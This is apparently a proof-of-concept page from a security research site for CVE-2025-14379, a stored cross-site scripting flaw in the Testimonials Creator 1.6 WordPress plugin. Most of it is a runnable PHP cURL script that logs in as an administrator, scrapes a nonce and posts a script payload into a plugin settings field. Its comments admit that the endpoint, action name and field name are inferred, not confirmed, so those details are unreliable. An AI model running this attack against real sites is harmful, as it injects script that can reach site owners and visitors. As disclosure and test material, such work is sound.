CVE-2025-14379: Testimonials Creator 1.6 – Authenticated (Admin+) Stored Cross-Site Scripting (testimonials-creator)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14379 - Testimonials Creator 1.6 - Authenticated (Admin+) Stored Cross-Site Scripting
<?php
/*
 * Proof of Concept for CVE-2025-14379.
 * This script simulates an authenticated administrator exploiting the Stored XSS vulnerability
 * via the plugin's admin settings. The exact endpoint and parameter are inferred from common
 * WordPress plugin patterns and the vulnerability description.
 * Assumptions:
 * 1. The target has the Testimonials Creator plugin v1.6 installed.
 * 2. The attacker has valid administrator credentials.
 * 3. The site is a multisite installation or has `unfiltered_html` disabled.
 * 4. The vulnerable settings page is accessible via the standard WordPress admin menu.
 */

$target_url = 'http://vulnerable-site.com';
$username = 'admin';
$password = 'password';

// Initialize cURL session for cookie persistence
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$login_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
$response = curl_exec($ch);

// Step 2: Access the plugin's settings page to obtain a nonce.
// The settings page slug is inferred from the plugin name.
$settings_url = $target_url . '/wp-admin/admin.php?page=testimonials-creator';
curl_setopt($ch, CURLOPT_URL, $settings_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

// Step 3: Extract a nonce from the settings page form.
// This regex looks for a common nonce field pattern. The actual nonce name may vary.
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $response, $nonce_matches);
$nonce = $nonce_matches[1] ?? '';

if (empty($nonce)) {
    die('Could not extract nonce. The page structure may differ.');
}

// Step 4: Submit the XSS payload to the settings update handler.
// The update action is assumed to be via admin-post.php or a similar endpoint.
$exploit_url = $target_url . '/wp-admin/admin-post.php';
// The payload is a simple script alert. In a real attack, this could be a credential stealer.
$xss_payload = '<script>alert("Atomic Edge XSS Test: "+document.domain)</script>';

$exploit_fields = [
    'action' => 'update_testimonials_creator_settings', // Inferred action name
    '_wpnonce' => $nonce,
    'testimonials_creator_setting_field' => $xss_payload // Injected into a vulnerable field
];

curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_fields));
$response = curl_exec($ch);

// Step 5: Verify the payload was stored by visiting a page where the setting is output.
// This could be a frontend testimonial display or the settings page itself.
curl_setopt($ch, CURLOPT_URL, $settings_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

if (strpos($response, $xss_payload) !== false) {
    echo "SUCCESS: XSS payload appears to be stored in the page source.n";
    echo "Visit the plugin's settings or frontend display to trigger execution.n";
} else {
    echo "Payload may not have been stored. The target endpoint or parameters may differ.n";
}

curl_close($ch);
?>